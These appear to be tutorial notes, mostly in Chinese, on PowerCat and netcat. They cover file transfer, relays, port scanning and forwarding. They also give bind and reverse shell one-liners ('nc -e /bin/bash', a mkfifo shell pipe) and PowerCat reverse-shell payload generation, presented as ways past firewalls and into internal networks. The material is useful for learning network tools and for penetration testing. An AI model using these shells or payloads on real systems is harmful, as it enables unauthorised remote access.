PowerCat
與Netcat&Ncat配合使用的PowerShell TCP / IP瑞士軍刀
https://github.com/secabstraction/PowerCat
PowerCat 被打包為一個 PowerShell module
所以要導入模塊才能使用功能:
# Import the functions via the psd1 file:
Import-Module PowerCat.psd1
功能和參數(shù)
Start-PowerCat # Starts a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb.
-Port # The port to listen on.
-PipeName # Name of pipe to listen on.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: "<Mode>:<Port/PipeName>"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-KeepAlive # Restart after disconnecting.
-Timeout # Timeout option. Default: 60 seconds
Connect-PowerCat # Connects a client to a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb
-RemoteIp # IPv4 address of host to connect to.
-Port # The port to connect to.
-PipeName # Name of pipe to connect to.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: "<Mode>:<IP>:<Port/PipeName>"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-Timeout # Timeout option. Default: 60 seconds
基本連接
默認情況下,PowerCat使用TCP協(xié)議 并且 從控制臺讀取,寫到控制臺。
# Basic Listener: 監(jiān)聽本機443端口
Start-PowerCat -Port 443
# Basic Client:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
文件傳輸
參數(shù)為
-SendFile
-ReceiveFile
# Send File:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
# Receive File:
Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
Shells
PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.
# Serve a shell:
Start-PowerCat -Port 443 -Execute
# Send a Shell:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute
UDP and SMB
PowerCat supports more than sending data over TCP.
PowerCat支持的協(xié)議:TCP、UDP、SMB
# Send Data Over UDP:
Start-PowerCat -Mode Udp -Port 8000
# Send Data Over SMB (easily sneak past firewalls):
Start-PowerCat -Mode Smb -PipeName PowerCat
SSL
PowerCat即時生成X509證書,以提供TCP連接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.
# Admin privileges are required to generate the self-signed certificate.
# Serve an SSL-Encrypted (Power)Shell:
Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute
# Connect to an SSL encrypted Ncat listener:
# Setup *nix with openssl & Ncat:
# openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
# ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat
Relays
Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
# UDP Listener to TCP Client Relay:
Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
# TCP Listener to UDP Client Relay:
Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
# TCP Client to Client Relay
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
# TCP Listener to SMB Listener Relay
New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat
Generate Payloads
Payloads can be generated using the New-PowerCatPayload function.
# Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
# Generate a tcp payload that listens on port 8000:
New-PowerCatPayload -Listener -Port 8000 -Execute
Misc Usage
PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.
# Basic TCP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
# Basic UDP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
# Persistent listener:
Start-PowerCat -Port 443 -Execute -KeepAlive
# Simple Web Server:
Start-PowerCat -Port 80 -SendFile index.html
Exiting
In most cases, the ESC key can be used to gracefully exit PowerCat.
netcat
nc
netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。
通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。
使用netcat命令所能完成的事情令人驚訝。
netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。
你能建立一個服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體,用它作為其它協(xié)議的獨立客戶端。
使用格式:
nc [options...] hostname port
nc -l -p port [-s addr] [options...] [hostname] [port]
主要參數(shù):
-4 IPv4模式
-6 IPv6模式
-b, –bluetooth藍牙模式(默認為L2CAP協(xié)議)
-e,–exec=CMD連接建立后執(zhí)行命令
-l 監(jiān)聽入站連接
-n 指定數(shù)字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默認模式)
-v 詳細輸出——用兩個-v可得到更詳細的內(nèi)容
-w,–time=SECONDS連接建立后的延時
-z 掃描模式,不會發(fā)送任何數(shù)據(jù)
-T,–ttl=TTL自定義初始TTL
-z 將輸入輸出關(guān)掉——用于掃描時
-x,–transfer文件傳輸模式
-X ,–rev-transfer反向文件傳輸模式
-s,–address=ADDRESS本地源ip
端口掃描
端口掃描,發(fā)現(xiàn)主機開放的端口
nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.1.170 port 55690
dst 220.181.57.217 port 80
rank info not available
TCP aux info available
Connection to 220.181.57.217 port 80 [tcp/*] succeeded!
-v 詳細輸出
-n 不使用DNS反向查詢IP地址的域名
可以運行在TCP或者UDP模式:默認是TCP -u參數(shù)指定為UDP
# 對已經(jīng)開放的端口,使用netcat(會先自動連接開放端口)抓取此端口的banner
nc -v 220.181.57.217 80
雙方通信
Server <-> Client
只能2人通信:雙方任何一方發(fā)送內(nèi)容,另一方可以看到。
雙方任何一方Ctrl-c結(jié)束連接,則另一方也會自動斷開。
# Server (IP 192.168.1.170)
#在1567端口啟動了一個tcp 服務(wù)器,所有的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
nc -l 1567
### Client
nc 192.168.1.170 1567
文件傳輸
Server -> Client
FTP,SCP,SMB等協(xié)議,都能傳輸文件。
nc也可以傳輸文件:
雙方建立連接,臨時傳輸內(nèi)容,并保存為文件。
#Server (IP 192.168.1.170)
#監(jiān)聽1567端口,任何Client成功連接該端口后,服務(wù)器端把README.md中的內(nèi)容發(fā)送過去。
nc -l 1567 < README.md
#Client
#主動連接到服務(wù)器端口,當獲取內(nèi)容結(jié)束后,斷開雙方連接。
nc -n 192.168.1.170 1567 #在shell中顯示該文件的內(nèi)容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中
目錄傳輸
使用壓縮工具tar壓縮后發(fā)送壓縮包,即可發(fā)送多個文件,或者整個目錄。
#Server (IP 192.168.1.170)
# 打包(不壓縮)指定目錄,通過 - 輸入控制臺重定向(當前目錄中不生成新文件),又通過管道命令傳給:nc
tar -cvf - dir_name/ | nc -l 1567
#Client
# 連接到服務(wù)器的1567端口,通過管道命令傳給:tar工具 解壓 控制臺重定向的輸出- 得到目錄。
nc -n 192.168.1.170 1567 | tar -xvf -
端口轉(zhuǎn)發(fā)
netcat 做簡單的端口轉(zhuǎn)發(fā)。
背景:
192.168.1.101需要訪問192.168.1.102的8000端口
(目標主機防火墻不允許外界機器訪問8000端口,只允許其他機器連接目標主機192.168.1.102的9000端口)
操作:
192.168.1.101通過連接目標機192.168.1.102的9000端口
(目標機內(nèi)8000 <-> 9000 轉(zhuǎn)發(fā)成功)
就實現(xiàn)了192.168.1.101與目標機192.168.1.102的8000端口的通信。
#Server (IP 192.168.1.102)
#防火墻只允許8000端口通信
nc -l 8000
#在目標機192.168.1.102內(nèi) 令 9000端口 作為 轉(zhuǎn)發(fā)數(shù)據(jù)的端口
#實現(xiàn)了 8000 <-> 9000 的端口轉(zhuǎn)發(fā)
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
#Client
#在客戶端192.168.1.101主動連接192.168.1.102的9000端口
#實際上客戶端只連接服務(wù)器端的9000端口
nc -n 192.168.1.102 9000
端口轉(zhuǎn)發(fā)可用于內(nèi)網(wǎng)滲透:
Client無法直接訪問內(nèi)網(wǎng)特定機器X,并成功拿到了內(nèi)網(wǎng)一臺機器N:
在跳板機N內(nèi)做端口轉(zhuǎn)發(fā),N接受到外網(wǎng)的數(shù)據(jù),將其轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標機器X的特定端口。
以下,沒有進行實際的測試。
指定地址 - 客戶端主動發(fā)起連接的地址
如果本機有多個ip地址:
在netcat中使用-s選項指定與外部通訊的ip地址。
#Server (IP 192.168.1.102)
#服務(wù)器端正常監(jiān)聽
nc -u -l 1567 < file.txt
#Client (IP 192.168.1.101)
#指定 客戶端本機 主動發(fā)起連接的ip地址 為192.168.1.101
nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt
指定端口 - 客戶端主動發(fā)起連接的端口
如果 客戶端Client的防火墻,只允許25端口和外部通訊:
所以需要發(fā)送發(fā)給外部的數(shù)據(jù)都要經(jīng)過25端口 才能發(fā)出
#Server (IP 192.168.1.102)
#正常監(jiān)聽
nc -l 1567
#Client
#客戶端Client的防火墻只允許25端口主動發(fā)出連接,和外部通訊
#-p 25 指定打開25端口,主動發(fā)出連接。否則打開任意端口進行通訊。
#root權(quán)限才能打開1024以內(nèi)的端口
nc 192.168.1.170 1567 -p 25
遠程shell - 正向shell: A主動連到B A得到B的shell
Server 提供一個shell
Client 得到shell輸入命令
如果沒有安裝或沒有權(quán)限安裝telnet或ssh
可用netcat創(chuàng)建遠程shell
#Server (IP 192.168.1.170)
#被控端
#netcat默認支持 -c -e 參數(shù)
#當有客戶端連接成功時,執(zhí)行/bin/bash
nc -l 1567 -e /bin/bash -i
#Server (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系統(tǒng)自帶的nc):并不支持-c 或者 -e 參數(shù),也能創(chuàng)建遠程shell
mkfifo /tmp/tmp_fifo # 創(chuàng)建了一個fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把這個fifo文件內(nèi)容定向到shell 2>&1中。
#是用來重定向標準錯誤輸出和標準輸出,然后管道到netcat運行的端口1567上。
#這樣已經(jīng)把netcat的輸出重定向到fifo文件中。
說明:
從網(wǎng)絡(luò)收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
sh命令進程受到輸入并把它寫回到netcat。
netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client
能成功是因為:管道使命令平行執(zhí)行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結(jié)束并開始讀取空文件。
#Client
#主控端 直接連接 得到一個shell提示符在客戶端
nc 192.168.1.170 1567
遠程shell - 反向shell: A主動連到B B得到A的shell
Server 提供一個shell
Client 得到shell輸入命令
反向shell:在客戶端打開的shell。
反向shell這樣命名是因為不同于其他配置,這里服務(wù)器使用的是由客戶提供的服務(wù)。
服務(wù)端
#Server (IP 192.168.1.170)
nc -l 1567
#Client
#客戶端netcat主動連接,執(zhí)行shell。
nc 172.31.100.7 1567 -e /bin/bash
反向shell作用:
反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。
例如,某內(nèi)網(wǎng)機器A 經(jīng)過網(wǎng)絡(luò)地址轉(zhuǎn)換(Network Address Translation)連接到外部網(wǎng)絡(luò) 機器B。
想要兩臺主機連接:
【成功】內(nèi)網(wǎng)機器A 主動發(fā)起連接 能連接到外部機器B。
【失敗】網(wǎng)絡(luò)外部機器B 主動訪問 內(nèi)網(wǎng)機器A 的shell肯定失敗。
傳輸(加密過的)數(shù)據(jù)
使用mcrypt工具,兩端密碼必須一致。
#Server (IP 192.168.1.170)
# 使用mcrypt工具加密數(shù)據(jù)
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
#Client
#使用mcrypt工具解密數(shù)據(jù)。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
傳輸流視頻
雖然不是生成流視頻的最好方法:
#Server (IP 192.168.1.170)
#讀入一個視頻文件,重定向輸出到netcat
cat video.avi | nc -l 1567
#Client
#從socket中讀入數(shù)據(jù)并重定向到mplayer(需安裝)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -
克隆Linux
dd是一個從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。
但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。
#Server (IP 192.168.1.170)
#假如你的系統(tǒng)在磁盤/dev/sda上
dd if=/dev/sda | nc -l 1567
#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda
其他功能
使用-t選項模擬Telnet客戶端
HTTP客戶端用于下載文件
連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件
使用ffmpeg截取屏幕并通過流式傳輸分享
只要了解協(xié)議,就能使用netcat作為網(wǎng)絡(luò)通訊媒介,實現(xiàn)各種客戶端。